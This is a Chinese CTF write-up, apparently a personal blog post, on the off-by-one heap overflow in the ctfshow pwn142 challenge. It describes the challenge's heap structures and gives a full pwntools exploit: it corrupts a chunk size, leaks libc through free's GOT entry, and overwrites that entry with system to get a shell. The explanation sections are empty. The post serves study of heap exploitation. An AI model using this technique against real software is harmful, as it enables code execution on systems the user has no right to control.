Off By One

本文最后更新于 2025年12月24日 晚上

参考

CTF-WIKI

例题

ctfshowpwn142

整理一下其结构体类型得到如下:

  1. Create Heap

    • 首先申请了两个地址的空间

    • 第一个八字节地址用来存放 heaparray[i]->size

    • 第二个八字节地址空间是一个地址,指向这个堆的内容:heaparray[i]->content

  1. Edit Heap

    • 往heaparray[i]->content 存放的地址里写东西

    • 大小是heaparray[i]->size+1,即申请堆的内容空间大小+1

    • 存在堆溢出(off-by-one)

  1. Show Heap
    • 打印堆heaparray[i]->content内容的空间大小以及内容

  1. Delete Heap

    • 分别释放堆,并置零,不存在UAF

    • heaparray[i]->content

    • heaparray[i]->size

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
p = p32 if i386 else p64 
u = u32 if i386 else u64

libcPath = '/home/ty/ctf/libc'
libcPath = libcPath + '/i386/' if i386 else libcPath + '/amd64/'

elf = ELF('./pwn')

def Add(size,content):
sla('choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,content):
sla('choice :',str(2))
sla('Index :',str(index))
sla('Content of heap : ',content)

def show(index):
sla('choice :',str(3))
sla('Index :',str(index))


def Del(index):
sla('choice :',str(4))
sla('Index :',str(index))

Add(0x18,'aaaaaaaa')
Add(0x10,'bbbbbbbb')

Edit(0,'/bin/sh\x00'.ljust(0x18,'a') + '\x41')
Del(1)

Add(0x30,p64(0) * 4 + p64(0x30) + p64(elf.got['free']))
show(1)

ru('Content : ')
freeAddr = u(r(6).strip().ljust(8,b'\x00'))
libc = LibcSearcher('free',freeAddr)
libc.select_libc(4)
libcBase = freeAddr - libc.dump('free')
Addr = SLSysBin(libc,libcBase)

Edit(1,p(Addr[0]))

Del(0)

inter()
# libc6_2.27-3ubuntu1.6_amd64

代码解释

堆变化


Off By One
https://tforevery.github.io/PWN/HEAP/Off-By-One/
作者
TY
发布于
2025年12月24日
许可协议